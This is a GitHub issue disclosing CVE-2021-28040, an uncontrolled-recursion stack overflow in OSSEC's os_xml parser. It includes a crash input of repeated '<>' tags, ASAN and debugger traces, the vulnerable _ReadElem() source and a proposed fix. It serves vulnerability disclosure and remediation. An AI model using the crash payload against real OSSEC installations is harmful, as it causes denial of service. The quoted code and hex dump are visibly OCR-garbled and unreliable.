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os_xml _ReadElem() - Uncontrolled recursion vulnerability leading to DoS (SIGSEGV) #1953

⊙ Open) lockedbyte opened this issue on Feb 23, 2021 · 3 comments

os_xml _ReadElem() - Uncontrolled recursion vulnerability

INTRODUCTION

lockedbyte commented on Feb 23, 2021

An Uncontrolled Recursion vulnerability has been identified in the os_xml XML parsing library used by OSSEC.

Through the os_xml/examples/test.c code, a flaw has been identified in os_xml.c that allows non-defined recursion cycles, thus finally trying to access non-mapped memory once the stack end has been reached

The payload consists on a number of <> which will trigger the recursion and finally ending it with

REPRODUCE

To reproduce this vulnerability, compile the examples/test.c and open the payload file with it.

```
lockedbyte@pwn:~/research/OSSEC/os_xml$ ./test ./crash.xml
```

Segmentation fault (core dumped)

lockedbyte@pwn:~/research/OSSEC/os xml\$ xxd ./crash.xml

00000090: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e <><>>>>>

00000120: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e <><>>

00000140: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e <><>>>>>

00000190: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e <><>>>>>

00000260: 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e 3c3e <><>><>

000002a0: 3c3e 3c3e 3c0a

lockedbyte@pwn:~/research/OSSEC/os_xml\$

If we compile examples/test.c with ASAN (AddressSanatizer), this is the output we are given:

root@ubuntu:/software/os_xml# ./test_asan ./crash.xml

AddressSanitizer:DEADLYSIGNAL

==171980==ERROR: AddressSanitizer: stack-overflow on address 0x7fffff7fe0e8 (pc 0x555555557f61 bp 0x0ffffeea6e7b sp 0x7fffff7fe0e8 T0)

#0 0x55555557f60 in _getattributes /software/os_xml/os_xml.c:417 #1 0x555555557f6in _ReadElem /software/os_xml/os_xml.c:242

#2 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298 #3 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298

#4 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298

#5 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298 #6 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298

#7 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298 #8 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298

#9 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298

#10 0x55555555a0d2 in _ReadElem /software/os_xml/os_xml.c:298
#11 0x55555555a0d2 in _ReadElem /software/os_xml/os_xml.c:298
#12 0x55555555a0d2 in _ReadElem /software/os_xml/os_xml.c:298

#13 0x5555555590d2 in _ReadElem /software/os_xml/os_xml.c:298 #14 0x5555555590d2 in _ReadElem /software/os_xml/os_xml.c:298

#15 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298

```
#16 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#17 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#18 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#19 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#20 0x5555555590d2 in _ReadElem /software/os_xml/os_xml.c:298 #21 0x5555555590d2 in _ReadElem /software/os_xml/os_xml.c:298
#22 0x5555555590d2 in _ReadElem /software/os_xml/os_xml.c:298
#23 0x5555555590d2 in _ReadElem /software/os_xml/os_xml.c:298
#24 0x55555555a9d2 in ReadElem /software/os xml/os xml.c:298
#25 0x555555559d2 in _ReadElem /software/os_xml/os_xml.c:298 #26 0x555555559d2 in _ReadElem /software/os_xml/os_xml.c:298
#27 0x555555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#28 0x55555555a9d2 in ReadElem /software/os xml/os xml.c:298
#29 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#30 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#31 0x55555555a9d2 in ReadElem /software/os xml/os xml.c:298
#32 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#33 0x5555555590d2 in _ReadElem /software/os_xml/os_xml.c:298 #34 0x5555555590d2 in _ReadElem /software/os_xml/os_xml.c:298
#35 0x55555555a9d2 in ReadElem /software/os xml/os xml.c:298
#36 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#37 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#38 0x5555555590d2 in _ReadElem /software/os_xm1/os_xm1.c:298 #39 0x5555555590d2 in _ReadElem /software/os_xm1/os_xm1.c:298
#40 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#41 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#42 0x55555555a9d2 in ReadElem /software/os xml/os xml.c:298
#43 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#44 0x5555555590d2 in _ReadElem /software/os_xml/os_xml.c:298 #45 0x555555590d2 in _ReadElem /software/os_xml/os_xml.c:298
#46 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#47 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#48 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#49 0x5555555590d2 in _ReadElem /software/os_xm1/os_xm1.c:298 #50 0x5555555590d2 in _ReadElem /software/os_xm1/os_xm1.c:298
#51 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#52 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#53 0x55555555a9d2 in ReadElem /software/os xml/os xml.c:298
#54 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#55 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
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#58 0x55555555a0d2 in ReadElem /software/os_xml/os_xml.c:298
#59 0x55555555a0d2 in ReadElem /software/os_xml/os_xml.c:298
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#62 0x5555555590d2 in _ReadElem /software/os_xml/os_xml.c:298 #63 0x5555555590d2 in _ReadElem /software/os_xml/os_xml.c:298
#64 0x55555555a9d2 in ReadElem /software/os xml/os xml.c:298
#65 0x555555559d2 in _ReadElem /software/os_xml/os_xml.c:298 #66 0x555555559d2 in _ReadElem /software/os_xml/os_xml.c:298
#67 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#68 0x55555555a9d2 in ReadElem /software/os xml/os xml.c:298
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#72 0x5555555590d2 in _ReadElem /software/os_xml/os_xml.c:298
#73 0x5555555590d2 in _ReadElem /software/os_xm1/os_xm1.c:298 #74 0x5555555590d2 in _ReadElem /software/os_xm1/os_xm1.c:298
#75 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
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#91 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
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#185 0x555555559d2 in _ReadElem /software/os_xml/os_xml.c:298
#186 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298 #187 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#188 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
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#191 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298 #192 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
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#223 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#224 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#225 0x555555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#226 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298 #227 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#228 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#229 0x5555555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#230 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#231 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298 #232 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#233 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#234 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#235 0x55555555a9d2 in ReadElem /software/os xml/os xml.c:298
#236 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#237 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298 #238 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#239 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298 #240 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#241 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
```

```
#242 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#243 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#244 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#245 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#246 0x55555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#247 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#248 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298
#248 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298

#248 0x5555555a9d2 in _ReadElem /software/os_xml/os_xml.c:298

SUMMARY: AddressSanitizer: stack-overflow /software/os_xml/os_xml.c:417 in _getattributes
==171980==ABORTING
root@ubuntu:/software/os_xml#
```

As we can see an unlimited number of recursion calls can be performed, ending on a SIGSEGV (Segmentation fault).

Attention!: If a SIGSEGV is not triggered, try adding more <> in the payload. The segmentation fault error is because we reach the end of the stack, so it depends on the offset until the end of it, which may differ in your situation.

ANALYSIS

There exists a non limited recursion in the _ReadElem() function:

```
static int _ReadElem(FILE *fp, unsigned int parent, OS_XML *_lxml)
     unsigned int count = 0;
     unsigned int _currentlycont = 0;
short int location = -1;
     char elem[XML_MAXSIZE + 1];
     char cont[XML_MAXSIZE + 1];
char closedelim[XML_MAXSIZE + 1];
     memset(elem, '\0', XML_MAXSIZE + 1);
     memset(cont, '\0', XML_MAXSIZE + 1);
memset(closedelim, '\0', XML_MAXSIZE + 1);
     while ((c = _xml_fgetc(fp)) != EOF) {
          if (c = _xml_rgetc(rp)) != !
if (c == '\\') {
    prevv = c;
} else if (prevv == '\\') {
    if (c != _R_CONFS) {
        prevv = 0;
}
           /* Max size */
if (count >= XML_MAXSIZE) {
    xml_error(_lxml, "XMLERR: String overflow.");
                 return (-1);
            /* Check for comments */
           /* uneck for comments */
if (c == _R_CONFS) {
   int r = 0;
   if ((r =_ oscomment(fp)) < 0) {
      xnl_error(_lxml, "XMLERR: Comment not closed.");
      return (-1);</pre>
                } else if (r == 1) {
                     continue;
                }
           /* Real checking */
if ((location == -1) && (prevv == 0)) {
    if (c == _R_CONFS) {
        if ((c = fgetc(fp)) == '/') {
                             xml_error(_lxml, "XMLERR: Element not opened.");
return (-1);
                      } else {
                           ungetc(c, fp);
                        location = 0;
                 } else {
                      continue;
           else if ((location == 0) && ((c == _R_CONFE) || isspace(c))) {
   int _ga = 0;
   int _ga = 0;
   else[count] = '\0';
                 /* Remove the / at the end of the element name */ if (count > 0 && elem[count - 1] == '/') {
                       _ge = '/';
elem[count - 1] = '\0';
                 if (_writememory(elem, XML_ELEM, count + 1, parent, _lxml) < 0) {
                       return (-1);
                  _currentlycont = _lxml->cur - 1;
                 if (isspace(c)) {
                       if ((_ga = _getattributes(fp, parent, _lxml)) < 0) {
    return (-1);</pre>
                  /st If the element is closed already (finished in />) st/
                 if ((_ge == '/') || (_ga == '/')) {
   if (_writecontent("\0", 2, _currentlycont, _lxml) < 0) {</pre>
                              return (-1);
                        lxml->ck[ currentlycont] = 1:
                       _currentlycont = 0;
count = 0;
                        location = -1;
```

```
memset(elem, '\0', XML_MAXSIZE);
memset(closedelim, '\0', XML_MAXSIZE);
memset(cont, '\0', XML_MAXSIZE);
                       if (parent > 0) {
    return (0);
                  } else {
                       count = 0;
                       location = 1;
                 }
            else if ((location == 2) && (c == _R_CONFE)) {
   closedelim[count] = '\0';
   if (strcmp(closedelim, elem) != 0) {
      xml_error(_lxml, "XMLERR: Element '%s' not closed.", elem);
}
                       return (-1);
                  if ( writecontent(cont, strlen(cont) + 1, currentlycont, lxml) < 0) {</pre>
                  Juxml->ck[_currentlycont] = 1;
memset(elem, '\0', XML_MAXSIZE);
memset(closedelim, '\0', XML_MAXSIZE);
memset(cont, '\0', XML_MAXSIZE);
_currentlycont = 0;
                  location = -1;
                  if (parent > 0) {
                      return (0);
             } else if ((location == 1) && (c == R_CONFS) && (prevv == 0)) {
                  if ((c = fgetc(fp)) == '/') {
   cont[count] = '\0';
                       count = 0;
                       location = 2;
                  } else {
                       ungetc(c, fp);
ungetc(_R_CONFS, fp);
                       if (_ReadElem(fp, parent + 1, _lxml) < 0) {</pre>
                            return (-1);
                       count = 0;
            } else {
    if (location == 0) {
                       elem[count++] = (char) c;
                  } else if (location == 1) {
  cont[count++] = (char) c;
                  } else if (location == 2) {
                     closedelim[count++] = (char) c;
                 if ((_R_CONFS == c) && (prevv != 0)) {
                     prevv = 0;
                }
             return (LEOF);
        xml_error(_lxml, "XMLERR: End of file and some elements were not closed.");
       return (-1);
If we debug it after specifying the crash file as argument:
   Program received signal SIGSEGV, Segmentation fault.
  0x000005555555557c93 in _getattributes ()
  [ Legend: Modified register | Code | Heap | Stack | String ]
  **rax : 0x000055555555d2a0 → 0x00000000fbad2488

**px : 0x0000555555559920 → <__libc_csu_init+0> endbr64
   $rcx : 0x152
   $rdx : 0x00007fffffffdc70 → 0x0000000000000153
           : 0x7ffffffe280
: 0x00007fffff801280 → 0x00007fffff807300 → 0x00007fffff80d380 → 0x00007fffff813400 → 0x00007fffff819480 → 0x00007fffff815500 → 0x00007ffff825580 →
   0x00007fffff82b600
           : 0x000055555555d2a0 → 0x00000000fbad2488
   $rdi
           : 0x0000055555557c93 → <_getattributes+23> or QWORD PTR [rsp], 0x0
: 0x0000555555599770 → 0x000000100000001
   $r8
   $r9
          : 0x0000555555599780 → 0x0000000100000001
: 0x0000555555550010 → 0x0006000600060006
   $r10
   $r11
            : 0x7ffffff7fd280
   $r12
           : 0x0000555555555320 → <_start+0> endbr64
   $r13
$r14
          $r15
          : 0x0
   $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
   $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
   [!] Unmapped address
   code:x86:64 ----
       0x555555557c81 <_getattributes+5> mov
                                                           rbp, rsp
r11, [rsp-0x4000]
rsp, 0x1000
      0x55555557c84 <_getattributes+8> lea
0x555555557c8c <_getattributes+16> sub
    → 0x55555557c93 <_getattributes+23> or
0x55555557c98 <_getattributes+28> cmp
0x55555557c9b <_getattributes+31> jne
                                                            QWORD PTR [rsp], 0x0
                                                             rsp, r11
                                                            0x555555557c8c < getattributes+16>
      0x555555557c9d <_getattributes+33> sub
0x555555557ca1 <_getattributes+37> mov
                                                            rsp, 0x60
QWORD PTR [rbp-0x4048], rdi
       0x55555557ca8 <_getattributes+44> mov
                                                            DWORD PTR [rbp-0x404c], esi
```

[#0] Id 1, Name: "test", stopped 0x55555557c93 in _getattributes (), reason: SIGSEGV [#0] 8x5555555733 + _getattributes()
[#1] 0x55555557342 + _ReadElem()
[#2] 0x55555557334 + _ReadElem()
[#3] 0x55555557334 + _ReadElem() [#5] 0x55555555773d → _ReadElem() [#6] 0x55555555773d → _ReadElem() [#7] 0x5555555773d → _ReadElem() [#8] 0x5555555773d → _ReadElem() [#9] 0x55555555773d → _ReadElem() gef➤





IMPACT

The most common issue with this type of vulnerability is a Denial of Service (DoS) once a crash has been triggered as demonstrated above with the crash PoC.

SOLUTION

The best solution to this vulnerability is implementing a code that controls the number of allowed recursions, or redesigning the methodology to loop over the XML tags using a while or for loop instead of recursing if the number of needed iterations is huge, resulting in a Stack exhaustion.

The DoS is performed due to the creation of a new frame in the stack for each new function being called. Creation of a big amount of frames results after a lot of iterations in consuming up the available stack memory, and once reached non-mapped memory a segmentation fault interruption will happen.

An important factor that decreases a lot the needed iterations to finally trigger the bug is the existence of three big stack buffers in the recursive function. Another useful change would be using dynamic memory with malloc() or calloc() when big amount of space is needed, also it can be reused instead of creating a chunk or stack buffer for each function call.

(e) 1)

abergmann commented on Mar 8, 2021

CVE-2021-28040 was assigned to this issue.

vikman90 mentioned this issue on Mar 9, 2021

Limit recursion level on _ReadElem() wazuh/wazuh#7776



Molter73 commented on Mar 9, 2021

We've solved this issue in our fork by limiting the number of times __ReadElem can be called recursively and moving the buffers out of the stack as @lockedbyte suggested. You can check the PR out here and I would be more than willing to create a PR here if it's needed.



Areku95 commented on May 12

Thank you all for your work!

Does anyone knows if a fix is planned ?

Assignees

No one assigned

Lahels

None vet

Projects None yet

Milestone

No milestone

No branches or pull requests

4 participants

